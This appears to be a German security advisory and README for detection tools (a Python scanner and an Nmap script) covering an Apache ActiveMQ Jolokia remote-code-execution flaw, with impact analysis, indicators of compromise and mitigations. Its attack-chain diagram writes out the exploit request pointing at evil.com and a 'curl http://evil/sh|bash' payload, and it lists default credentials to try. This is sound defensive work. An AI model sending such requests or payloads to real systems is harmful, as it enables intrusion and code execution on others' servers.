
Erkennt Apache ActiveMQ Classic RCE (CVE-2026-34197) über die Jolokia-API mit Python- und Nmap-NSE-Skripten und prüft dabei unauthentifizierten Zugriff sowie Versionsschwachstellen.
Eine Remote-Code-Execution-Schwachstelle in Apache ActiveMQ Classic, die es einem Angreifer ermöglicht, beliebigen Code auszuführen, indem er die MBean-Operation addNetworkConnector(String) über die Jolokia-API (/api/jolokia/) aufruft. Der Angreifer bettet einen bösartigen brokerConfig-Parameter ein, der auf eine entfernte Spring-XML-Datei verweist, die ActiveMQ abruft und parst, wodurch beliebige Java-Objekte instanziiert und Codeausführung erreicht wird.
Bei ActiveMQ-Versionen 6.0.0 bis 6.1.1 ist der Jolokia-Endpunkt vollständig ohne Authentifizierung erreichbar, was dies zu einer Zero-Click-RCE ohne Authentifizierung macht.
Diese Schwachstelle war 13 Jahre lang im Codebase verborgen, bevor sie mit KI-Unterstützung entdeckt wurde.
| Feld | Detail |
|---|---|
| CVE-ID | CVE-2026-34197 |
| Anbieter | Apache Software Foundation |
| Produkt | Apache ActiveMQ Classic |
| Betroffene Versionen | Alle Versionen vor 5.19.4 und 6.2.3 |
| RCE ohne Authentifizierung | Versionen 6.0.0 bis 6.1.1 (Jolokia hat keine Authentifizierung) |
| CVSS v3.1 | 8.8 (Hoch) |
| CWE | CWE-94 — Unzureichende Kontrolle der Codegenerierung |
| Angriffsvektor | Netzwerk |
| Authentifizierung | Erforderlich bei 5.x; keine bei 6.0.0 bis 6.1.1 |
| Benutzerinteraktion | Keine |
| Exploit-Reifegrad | Öffentlicher PoC verfügbar |
| Behoben in | ActiveMQ Classic 5.19.4, 6.2.3 |
| Alter des Fehlers | ~13 Jahre im Codebase |
| Entdeckung | KI-gestützte Schwachstellenforschung |
Apache ActiveMQ Classic ist einer der am weitesten verbreiteten Open-Source-Message-Broker im Java-Ökosystem. Es implementiert die Java-Message-Service-Spezifikation (JMS) und dient als Rückgrat der asynchronen Kommunikation in tausenden Unternehmensumgebungen weltweit.
ActiveMQ verarbeitet alles von Auftragsverarbeitungs-Warteschlangen und Finanztransaktions-Pipelines bis hin zu IoT-Telemetrie-Streams und Microservice-Event-Bussen. Wenn Ihre Organisation Java-basierte Microservices, ereignisgesteuerte Architektur oder irgendeine Form von asynchronem Messaging verwendet, ist die Wahrscheinlichkeit hoch, dass ActiveMQ irgendwo im Stack steckt.``` ActiveMQ Broker ┌───────────────────────┐ │ │ ┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐ │ Producer │───────▶│ │ Message │ │───────▶│ Consumer │ │ (App A) │ send │ │ Queue / │ │ recv │ (App B) │ └──────────┘ │ │ Topic │ │ └──────────┘ │ └───────────────┘ │ ┌──────────┐ │ │ ┌──────────┐ │ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │ │ (App C) │ │ │ Jolokia │ │ │ (App D) │ └──────────┘ │ │ API (:8161) │ │ └──────────┘ │ └───────┬───────┘ │ └───────────┼───────────┘ │ ⚠️ CVE-2026-34197 Attack surface here
Wenn ein Angreifer ActiveMQ kompromittiert, erhält er nicht nur eine Shell auf einem einzelnen Server. Er sitzt im **Zentrum jedes Nachrichtenflusses** in der Organisation und kann Nachrichten zwischen kritischen Systemen lesen, ändern, umleiten oder einschleusen.
---
## Detaillierte Analyse der Schwachstelle
### Die Architektur: Jolokia und JMX
**JMX** (Java Management Extensions) ist die Standard-Verwaltungsschnittstelle für Java-Anwendungen. Sie stellt „MBeans“ (Managed Beans) bereit, die die Überwachung und Steuerung der Anwendungsinterna ermöglichen. ActiveMQ stellt MBeans für die Verwaltung von Brokern, Warteschlangen, Topics, Verbindungen und mehr bereit.
**Jolokia** ist eine JMX-über-HTTP-Brücke. Sie übersetzt JMX-Operationen in eine RESTful-JSON-API und ermöglicht so die Verwaltung von Java-Anwendungen über HTTP-Anfragen, ohne dass ein dedizierter JMX-Client erforderlich ist.
ActiveMQ Classic wird mit integriertem Jolokia ausgeliefert, das unter `/api/jolokia/` auf dem Web-Konsolen-Port (Standard: 8161) erreichbar ist.```
Traditional JMX Access:
┌──────────┐ ┌──────────────┐
│ JConsole │ ────── JMX Protocol ─────────> │ ActiveMQ │
│ │ (requires JMX client) │ MBeans │
└──────────┘ └──────────────┘
Jolokia HTTP Access:
┌──────────┐ ┌──────────────┐
│ curl / │ ── POST /api/jolokia/ ───────> │ ActiveMQ │
│ browser │ (just needs HTTP) │ MBeans │
└──────────┘ └──────────────┘
⬆️
Anyone with HTTP access can
invoke MBean operations
Hier beginnt das Problem. Jolokia gibt die volle Leistungsfähigkeit der JMX-Verwaltung über eine einfache HTTP-API frei. Und eine der auf dem Broker verfügbaren MBean-Operationen ist addNetworkConnector(String).
Die Operation addNetworkConnector(String) ist dafür ausgelegt, Netzwerk-Brücken zwischen ActiveMQ-Broker-Instanzen zu erstellen. Sie akzeptiert eine URI-Zeichenfolge, die beschreibt, wie eine Verbindung zu einem anderen Broker hergestellt wird.
ActiveMQ unterstützt ein vm://-URI-Schema für In-Process-Broker-Verbindungen. Diese URIs unterstützen einen brokerConfig-Parameter, der auf eine Spring-XML-Konfigurationsdatei verweist. Und Spring-XML kann beliebige Java-Objekte instanziieren.
Hier ist die vollständige Kette:``` Step 1: Attacker sends POST to /api/jolokia/ ┌────────────────────────────────────────────────────────────┐ │ POST /api/jolokia/ │ │ { │ │ "type": "exec", │ │ "mbean": "org.apache.activemq:type=Broker,brokerName= │ │ localhost", │ │ "operation": "addNetworkConnector", │ │ "arguments": [ │ │ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │ │ ] │ │ } │ └────────────────────────────────────────────────────────────┘ │ ▼ Step 2: ActiveMQ parses the vm:// URI Sees brokerConfig=xbean:http://evil.com/pwn.xml │ ▼ Step 3: ActiveMQ fetches http://evil.com/pwn.xml (outbound HTTP request from the broker) │ ▼ Step 4: The XML is parsed as Spring configuration Spring instantiates beans defined in the XML │ ▼ Step 5: Malicious bean executes arbitrary Java code ┌──────────────────────────────────────────┐ │ │ │ │ │ │ │ /bin/bash │ │ -c │ │ curl http://evil/sh|bash │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────┘
ActiveMQ tut genau das, wofür es entwickelt wurde: Es lädt eine Broker-Konfiguration. Das Problem ist, dass die Konfigurationsquelle vom Angreifer kontrolliert wird und Spring-XML praktisch ein Format zur Codeausführung ist.
### Die Authentifizierungslücke
Das ist es, was die Schwachstelle von ernst zu kritisch aufwertet:
| ActiveMQ-Version | Jolokia-Auth-Status | Auswirkung |
|:---:|:---:|:---:|
| 5.x (< 5.19.4) | Authentifiziert (Standard: admin:admin) | Auth'd RCE, oft trivial umgangen |
| 6.0.0 bis 6.1.1 | **Vollständig ohne Authentifizierung** | **RCE ohne Authentifizierung** |
| 6.1.2 bis 6.2.2 | Authentifiziert | Auth'd RCE |
| 5.19.4+ / 6.2.3+ | Gepatcht | Nicht verwundbar |
Auf ActiveMQ 6.0.0 bis 6.1.1 erfordert der Jolokia-Endpunkt **null Authentifizierung**. Jeder, der Port 8161 erreichen kann, erhält Remote-Codeausführung ohne Authentifizierung.
Selbst auf Versionen, auf denen Jolokia eine Authentifizierung erfordert, sind die Standard-Anmeldedaten `admin:admin` weithin bekannt und werden in Entwicklungs-, Staging- und Produktionsumgebungen häufig unverändert gelassen.
---
## Auswirkungsanalyse
**Unmittelbare Auswirkung auf den Broker-Host:**
- Vollständige Remote-Codeausführung mit den Rechten des ActiveMQ-Prozesses
- Zugriff auf alle Message Queues, Topics und gespeicherten Nachrichten
- Möglichkeit, Nachrichten während der Übertragung zu lesen, zu ändern oder einzuschleusen
- Zugriff auf Konfigurationsdateien, Keystores und gespeicherte Anmeldedaten
**Nachgelagerte Auswirkung (über Nachrichtenmanipulation):**
- Einschleusung bösartiger Nachrichten in Verarbeitungs-Warteschlangen
- Änderung von Finanztransaktionen, Aufträgen oder Befehlen während der Übertragung
- Abfangen sensibler Daten, die durch den Broker fließen
- Störung aller nachrichtenabhängigen Dienste
**Verstärkung des Unternehmensrisikos:**
- ActiveMQ sitzt an der Schnittstelle jeder Anwendung, die es nutzt
- Ein einziger kompromittierter Broker kann Dutzende verbundener Dienste beeinträchtigen
- Message Broker sind typischerweise in vertrauenswürdigen Netzwerkzonen mit breitem Zugriff positioniert
- Laterale Bewegung ist von der Netzwerkposition des Brokers aus unkompliziert```
What an attacker can do after exploitation:
┌─────────────────────────────────────────────────────────┐
│ Compromised ActiveMQ Broker │
└────┬───────────┬───────────┬───────────┬──────────┬─────┘
│ │ │ │ │
▼ ▼ ▼ ▼ ▼
Read/modify Inject Pivot to Intercept Deploy
messages malicious connected creds in persistent
in transit messages systems messages backdoor
| Version | Status |
|---|---|
| ActiveMQ Classic 6.2.3+ | Behoben |
| ActiveMQ Classic 5.19.4+ | Behoben |
| ActiveMQ Classic 6.0.0 bis 6.2.2 | Verwundbar (6.0.0 bis 6.1.1 = ohne Authentifizierung) |
| ActiveMQ Classic < 5.19.4 | Verwundbar (mit Authentifizierung) |
| ActiveMQ Artemis | Nicht betroffen (anderer Codebestand) |
Das Python-Skript erkennt verwundbare ActiveMQ-Instanzen durch eine mehrstufige Analyse.
So funktioniert es:
/api/jolokia/ ohne Authentifizierung erreichbar ist (HTTP 200 = offen, 401 = Authentifizierung erforderlich)admin:admin, user:user, admin:activemq/admin/- und /-Seiten mithilfe von Regex-Musterabgleich nach ActiveMQ-Versionszeichenfolgenorg.apache.activemq:type=Broker durch, um zu bestätigen, dass der Exploit-Pfad existiertEs werden keine Exploit-Payloads gesendet. Es werden keine Befehle ausgeführt. Der Scanner beobachtet lediglich die Erreichbarkeit von Endpunkten und Versionsinformationen.
Verwendung:```bash
pip install -r requirements.txt
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://activemq-host:8161
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 -u admin -p secret
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -f targets.txt -o results.json -v
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t https://activemq-host:8161
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 --timeout 20
**Optionen:**
| Flag | Beschreibung | Standard |
|------|-------------|---------|
| `-t`, `--target` | Einzelne Ziel-URL (z. B. `http://host:8161`) | — |
| `-f`, `--file` | Datei mit Ziel-URLs, eine pro Zeile (`#`-Kommentare werden unterstützt) | — |
| `-u`, `--username` | Benutzername für die Jolokia-Authentifizierung | — |
| `-p`, `--password` | Passwort für die Jolokia-Authentifizierung | — |
| `-o`, `--output` | Ergebnisse in JSON-Datei speichern | — |
| `--timeout` | Verbindungs-Timeout in Sekunden | `10` |
| `--verify-ssl` | SSL-Zertifikatsprüfung aktivieren | Deaktiviert |
| `-v`, `--verbose` | Ausführliche Ausgabe mit vollständigen Details | Aus |
**Beispielausgabe:**```
[*] CVE-2026-34197 Apache ActiveMQ Jolokia RCE Scanner
[*] Scanning 1 target(s)...
======================================================================
Target: http://10.0.0.1:8161
Scan Time: 2026-04-14T15:30:00Z
Risk Level: CRITICAL
======================================================================
Jolokia Accessible: YES
Requires Auth: NO (unauthenticated)
ActiveMQ Version: 6.1.0
Vulnerable: YES
Unauth RCE (6.0-6.1): YES — CRITICAL
Broker MBean Access: YES
Details:
- Jolokia API accessible WITHOUT authentication
- Detected ActiveMQ version: 6.1.0
- Version 6.1.0 is in unauthenticated range (6.0.0 - 6.1.1)
CRITICAL: No auth required!
- Broker MBean accessible: [org.apache.activemq:type=Broker,...]
======================================================================
[*] Scan Complete: 1 targets scanned
[*] Vulnerable: 1 | Critical: 1
======================================================================
sudo cp CVE-2026-34197_ActiveMQ_Jolokia.nse /usr/share/nmap/scripts/ sudo nmap --script-updatedb
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia 10.0.0.0/24
nmap -p 8161,61616,443,8080 --script CVE-2026-34197_ActiveMQ_Jolokia
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia -iL targets.txt
nmap -sV -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia
**Beispiel für die Nmap-Ausgabe:**```
PORT STATE SERVICE
8161/tcp open http
| CVE-2026-34197_ActiveMQ_Jolokia:
| VULNERABLE:
| Apache ActiveMQ Jolokia RCE (CVE-2026-34197)
| State: VULNERABLE
| Risk level: CRITICAL
| ActiveMQ Version: 6.1.0
| Jolokia Accessible: true (unauthenticated)
| Description:
| CRITICAL: Jolokia API is accessible without authentication on
| ActiveMQ 6.1.0, enabling unauthenticated remote code execution
| via addNetworkConnector MBean.
| References:
|_ https://nvd.nist.gov/vuln/detail/CVE-2026-34197
Wenn du manuell mit curl prüfen möchtest:```bash
curl -sk http://:8161/api/jolokia/ | python3 -m json.tool
curl -sk -u admin:admin http://:8161/api/jolokia/ | python3 -m json.tool
curl -sk http://:8161/api/jolokia/search/org.apache.activemq:type=Broker,brokerName=*
| python3 -m json.tool
Wenn Schritt 1 eine JSON-Antwort mit Jolokia-Agent-Informationen zurückgibt, ist der Endpunkt nicht authentifiziert. Wenn Schritt 2 mit Standard-Anmeldedaten funktioniert, hast du authentifizierten Zugriff. In beiden Fällen existiert der Exploit-Pfad, wenn der Broker-MBean zugänglich ist.
---
## Indicators of Compromise
Achte in deiner Umgebung auf diese Anzeichen:
| Indikator | Wo prüfen | Worauf achten |
|:---|:---|:---|
| Jolokia-Zugriff | Zugriffsprotokolle der Web-Konsole | POST an `/api/jolokia/` mit `addNetworkConnector` |
| Ausgehender Abruf | Netzwerkprotokolle / Firewall | HTTP-Anfragen von ActiveMQ an unerwartete externe Hosts |
| Spring-XML-Laden | ActiveMQ-Protokolle | Verweise auf `xbean:http://`-URIs |
| Network Connectors | Broker-Konfiguration | `vm://`-URIs mit `brokerConfig`-Parametern, die du nicht erstellt hast |
| Kindprozesse | Prozessüberwachung | Unerwartete Prozesse, die vom ActiveMQ-Java-Prozess gestartet wurden |
**Untersuchungsbefehle:**```bash
# Check ActiveMQ logs for suspicious Jolokia operations
grep -r "addNetworkConnector\|brokerConfig\|xbean:http" /var/log/activemq/
# Check for unexpected network connectors in running broker
curl -sk http://<TARGET>:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/NetworkConnectors
# Monitor for unexpected outbound connections from the ActiveMQ process
ss -tnp | grep java
# Check for unexpected child processes
ps aux --forest | grep -A5 activemq
Sofortmaßnahmen (jetzt durchführen):
/api/jolokia/ zu blockierenadmin:admin auf der Web-Konsole verwendenKurzfristig (diese Woche):
addNetworkConnector-Operationen)Langfristig:
Kerem Oruç — Cybersecurity-Ingenieur